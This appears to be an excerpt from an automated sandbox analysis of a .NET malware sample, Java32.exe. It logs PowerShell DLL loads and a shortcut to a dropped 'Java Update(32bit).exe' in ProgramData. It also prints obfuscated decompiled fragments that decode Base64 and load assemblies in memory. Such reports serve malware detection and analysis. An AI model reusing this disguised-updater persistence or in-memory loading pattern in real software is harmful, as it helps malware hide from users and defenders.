Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\Java32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: Java Update(32bit).lnk.0.dr

LNK file: ..\..\..\..\..\..\..\..\..\ProgramData\Java Update(32bit).exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: Java32.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Java32.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Source: Java32.exe, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg._7Cir8VyCJoxFUAQMVz7Ujgh1OoLTn1k91NgO0AXuHqwxtMvUD2QCW4ihQO5ZDND7lv,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg.WwhlMAbVgKOLMf3gHRXzLJbc71otHVQgk48YCE8N7YSMxmxIfPKZPiGXFTeAK7jAeU,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg.G7qGcrmcglFRPDIo2Al5tiSoJzSPhiQhuFJxaPkFURJDEZBgaSGNnsVt0c84BJujCs,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg._4MOiw7wZaoa9OFVSNb3wHnS7XSd2PpOVnWOomVUuryoYN7pFuv0gvwS4yWSwwS5y6V,ZjgOIt8bTP1.R7fdu7cL0py()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Java32.exe, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{_5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[2],ZjgOIt8bTP1.I7icBfObOt0(Convert.FromBase64String(_5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Java32.exe, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { _5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: Java Update(32bit).exe.0.dr, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg._7Cir8VyCJoxFUAQMVz7Ujgh1OoLTn1k91NgO0AXuHqwxtMvUD2QCW4ihQO5ZDND7lv,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg.WwhlMAbVgKOLMf3gHRXzLJbc71otHVQgk48YCE8N7YSMxmxIfPKZPiGXFTeAK7jAeU,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg.G7qGcrmcglFRPDIo2Al5tiSoJzSPhiQhuFJxaPkFURJDEZBgaSGNnsVt0c84BJujCs,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg._4MOiw7wZaoa9OFVSNb3wHnS7XSd2PpOVnWOomVUuryoYN7pFuv0gvwS4yWSwwS5y6V,ZjgOIt8bTP1.R7fdu7cL0py()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Java Update(32bit).exe.0.dr, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{_5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[2],ZjgOIt8bTP1.I7icBfObOt0(Convert.FromBase64String(_5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Java Update(32bit).exe.0.dr, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { _5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg._7Cir8VyCJoxFUAQMVz7Ujgh1OoLTn1k91NgO0AXuHqwxtMvUD2QCW4ihQO5ZDND7lv,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg.WwhlMAbVgKOLMf3gHRXzLJbc71otHVQgk48YCE8N7YSMxmxIfPKZPiGXFTeAK7jAeU,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg.G7qGcrmcglFRPDIo2Al5tiSoJzSPhiQhuFJxaPkFURJDEZBgaSGNnsVt0c84BJujCs,_9ZXL3YS6LLCjnonjUXc1PnvVh4UTrHpWg._4MOiw7wZaoa9OFVSNb3wHnS7XSd2PpOVnWOomVUuryoYN7pFuv0gvwS4yWSwwS5y6V,ZjgOIt8bTP1.R7fdu7cL0py()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{_5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[2],ZjgOIt8bTP1.I7icBfObOt0(Convert.FromBase64String(_5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { _5K0gpmk0sb1tdfk89SXL0QnklxE0ouU8TOaff07FWXb8jpQFSEjPji7pEoXetCTMrE7PSeoE9173F9MqMbD[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: Java32.exe, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: Zc96rT8c18YY6h65e4JcxuoSPsbCmz305Lk37xFNPrIdd83R6c7 System.AppDomain.Load(byte[])
Source: Java32.exe, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: cP8zyekB0IgsOiDx733zJohbvZ6kmAN4loxRD3apu8KVEu3eNZIYtMgfLgoQFjinLaOaR3CWyVSu6t3SN4k System.AppDomain.Load(byte[])
Source: Java32.exe, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: cP8zyekB0IgsOiDx733zJohbvZ6kmAN4loxRD3apu8KVEu3eNZIYtMgfLgoQFjinLaOaR3CWyVSu6t3SN4k
Source: Java Update(32bit).exe.0.dr, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: Zc96rT8c18YY6h65e4JcxuoSPsbCmz305Lk37xFNPrIdd83R6c7 System.AppDomain.Load(byte[])
Source: Java Update(32bit).exe.0.dr, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: cP8zyekB0IgsOiDx733zJohbvZ6kmAN4loxRD3apu8KVEu3eNZIYtMgfLgoQFjinLaOaR3CWyVSu6t3SN4k System.AppDomain.Load(byte[])
Source: Java Update(32bit).exe.0.dr, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: cP8zyekB0IgsOiDx733zJohbvZ6kmAN4loxRD3apu8KVEu3eNZIYtMgfLgoQFjinLaOaR3CWyVSu6t3SN4k
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: Zc96rT8c18YY6h65e4JcxuoSPsbCmz305Lk37xFNPrIdd83R6c7 System.AppDomain.Load(byte[])
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: cP8zyekB0IgsOiDx733zJohbvZ6kmAN4loxRD3apu8KVEu3eNZIYtMgfLgoQFjinLaOaR3CWyVSu6t3SN4k System.AppDomain.Load(byte[])
Source: 0.2.Java32.exe.12ee1a78.1.raw.unpack, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	.Net Code: cP8zyekB0IgsOiDx733zJohbvZ6kmAN4loxRD3apu8KVEu3eNZIYtMgfLgoQFjinLaOaR3CWyVSu6t3SN4k

Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F19990 push eax; ret	0_2_00007FF848F199B3
Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F178FB push ebx; retf	0_2_00007FF848F1796A
Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F19980 push eax; ret	0_2_00007FF848F199B3
Source: C:\Users\user\Desktop\Java32.exe	Code function: 0_2_00007FF848F1789D push ebx; retf	0_2_00007FF848F1796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848DFD2A5 pushad ; iretd	2_2_00007FF848DFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F1B9FA push E85A11D7h; ret	2_2_00007FF848F1BAF9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F10998 push E95A12D0h; ret	2_2_00007FF848F109C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F11090 push E85EDC0Dh; ret	2_2_00007FF848F110F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848FE2316 push 8B485F94h; iretd	2_2_00007FF848FE231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848E0D2A5 pushad ; iretd	5_2_00007FF848E0D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848FF2316 push 8B485F93h; iretd	5_2_00007FF848FF231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF848E1D2A5 pushad ; iretd	8_2_00007FF848E1D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF849002316 push 8B485F92h; iretd	8_2_00007FF84900231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848DFD2A5 pushad ; iretd	10_2_00007FF848DFD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848F1C2C5 push ebx; iretd	10_2_00007FF848F1C2DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF848FE2316 push 8B485F94h; iretd	10_2_00007FF848FE231B

Source: Java32.exe, LBTp3YK8zXR.cs	High entropy of concatenated method names: 'WtTqB1JZ7dI', 'u0qkALmhJ2a', 'gt7uJ6VPmEw', 'GDrf2DREPbYJjC8PudQ0nzUkxjw2JItFUqBiTHojKa750ic0wAA2i0e4xpGiUb9p3jSbP2TkTLbrcKY28ewdgt5BpGaYdMD7', 'gPNfbGMrbdtaOOT7Bijxh9DVA20XOWK5NdTex4GF7IT30hNR6VyQkyBYmYJYDzeL6p9nvb4QfoHQJgBdiyYqfZo9rZrTWBZM', 'EQoJk7UvVdxRWj7IUnrmFEu5TdCKPkKYEbZhL2Q14ayBxFTswEBj793OnZHfuCV4jX427JUXVPnJN8sROFyK868yHLMznN4r', 'tpqzcs0whoSf6iY9E4qXXoMGAI7GL4VZlMHbOUhBa4nMezlBZkQvddQIkySNJKQzXkQh6R6tWpkqVwLQpaxlkuQOQEAONvyl', 'CQVyeqMscg7TcNpE4D4OrXXnwMLw7yqDQ885y5', 'Sfuc3X9Z6BxBuBDkqPeLRDuuBbjAahv9PXDt0o', 'dyT6bp1QAe3HBIC0L21LCQ1aLwk0LfnM94TZp6'
Source: Java32.exe, 2AKpcC5Z2bURvKt9uMpYYZhoU49gC6WtNJNIn7adr9RU2vHsNBvYbJ3EHaRzPtWURQxvWy0d99fApARzJPaxfNkw9XE.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'KbPoBucKIpFy4zrdEOZkfAyA3SrI', 'KqurzA55EmbdbAsyi4VLSJcuFxwr', 'T3DZJnpGpBGB6qYLVxucEysSmiL6', 'Ol6qO6T3OdhFmTsEXPepw2vJKT8f'
Source: Java32.exe, XTJMjCSnnVl.cs	High entropy of concatenated method names: 'xahQwM1ntDE', '_8gw5EX1ocEi', 'J6H2fpI3TsZ', 'odHvo6bN9R9', 'LGHnnGyqmdnt46LFmiBqY', 'PHaC6qgnqeGxrnLQdJMFJ', '_0T0ZLSQl2EGlCSMuarP45', 'wN0MsdZv48Fm7sb0R9Klb', 'BOilHbLzBrQq5e2BAqW7h', 'MznZpvxKycDqVu2Qthf9u'
Source: Java32.exe, 5XgDzgZ7pD82UsfRsIA20ebEnuDJ9iIMzK4hCkrZx4HudJQSGlw.cs	High entropy of concatenated method names: 'NUqA7mJDqid0VDivE5WLXqQ54Qqi34VO4vKm1wCoCf9WQkuieQw', 'Zc96rT8c18YY6h65e4JcxuoSPsbCmz305Lk37xFNPrIdd83R6c7', 'FdvevIq6ilGjcYIQ1rc0WEjPY2jcXJttB7azvjlS9eFCMFxoUkL', '_1MZFNV4CvKDmX0ymfA5ZXrKmrz6czfWKSg9c1G8FHtcExggx7UZ', 'jzYfHZMnOA6tjb6gzcPbfeQl7FIrHi4xzTobTqIvMql8en11xFp', 'P9Hz3A62ZCPRorFvJkWNd0tpQnHmPbDYMiLUS1UZK0vF2to2ZOXCTH7scrWvbmfdGT7xVCcR3M2VIeo4FhU', 'mHTgoQsNrLYUYGPpXa5NuH4q2GgEsCUslEaqyXyA3E6jPDZUU9BviIdrUJRs9XsEqMoTrIf0qJsyzLiTJo2', 'b6wjHf0Rg1mLAbFv0Pegz0ktw132BIGCZJEpF5thYjwZjcEC0cptDxw90WWnmPz5b7XYyJo2KYrxvaJ9unm', 'Oiuvdu4K4t87SN9opvxdrxZrDUbPxWM3JHJbFu11BY8PwrJfb4fybBMZyg64E0RemiApgIaG1ZpWeMeQg1G', 'zNG7ed4s53WuUzRs105yx6UDv6CaWnybb4jVGBg3cjbg9nd7Z58zXDEwifITm61lrN4HWyiQbzVkH6dWPiv'
Source: Java32.exe, R2Vw38GeWoQxhB7YZMpUVZTRVm1YmgKxOBgtRc1PPm2HHOMzmnRE6zzdei8Z0B9itg14hLJavf6baUPLIgs.cs	High entropy of concatenated method names: 'iwC6oHNFS6s8VqpXDqE6UDNMQ76ZWBYrS8VpRX054JKOCAXfKyJFh05peQxaKKqP70hJUu0W1c3s4L0BNtV', 'UhNAlIFH5RugKPrTvzviu', 'pDtgkFJfQjKm0RRw5lcwO', 'IqGCXv8EuXPympjMprVz8', 'O0MpsjAWRS0vBwZ6wBHX3'
Source: Java32.exe, ZjgOIt8bTP1.cs	High entropy of concatenated method names: 'aucr7ZkA4xw', '_94MeGq5zstj', 'iNwykl13991', 'eA3ew7dTzTe', 'ziHWhSkB3W1', 'fLcn2O2HckP', 'Yie3uoOK8zw', 'yPcrDZRIb8o', '_6k7Vbrj5xnd', 'MjaxH5sQfiw'
Source: Java32.exe, 4rh9XCbhev68ifqwiI1JPsN5n2rAZX4JuNpVEyYbSt7s8HBGHcbm1xUD3NOy2HXKzemTVUwUg5k2taxMpn2.cs	High entropy of concatenated method names: '_7Lr2qqFQC0rR3jNf2BCDmLCF7or2eH5XYkYgGLSmpk2BWEcEEN64r44P2tOHWW6sHVeqi', 'gZOrqgy03YweFXdq571UtOhj3G582LzPu4obGSiPYMZZQJLUOO89iBXf2e43uipsRHiN4', 'w0S1zwdqEbG11PcNLBA0RaPjGyv82Sgvp7ovlDK6FaXVLSQUhOZX8OGS1SQUjnwkuCdrU', 'SFy9o7wCVquiB3vtXhMGRpSLJ8cYbTp7eey5ApiMyO1eLsccmIrBQM18gX1HvGCZlQ8uV', 'I9hTFfbmGamAi3N2vHdWhs7P2jnMLQDoyZgZxMz7gp9cB8JkpofjgFmDzuNrPRlb1CCFm', 'S2lbC4trDDKIes0wxZk9DcUc0g3xgH7YyD0fGY2GmRbWM9RkuHeX9BFB2KenZsPMV8S0s', 'IiofO32JXc6yolA9Fk21lIrmZgYmlflsky1cottq2xiIBZvngbKgdNrSHeA8sk2CMb1zJ', 'SQTEwrx8ZKKEyZfz1t8DWPXceIOnCGrR6Roe5W1rMkwAHwK9qw21hkKA5Ny0EbOFMFLvQ', '_7ybMLsyROvMdgJAReuO52pDr2KUMbAGW91ggTCmzlZb0lvx95yDqcqwoBvVZwWCLulfHn', 'ERvOF66yYsiFbr0Lpbdqd1lqXcO11VupCFpHMhecq3G8f3Aoa12RKa17bXRntpWmDCAQl'
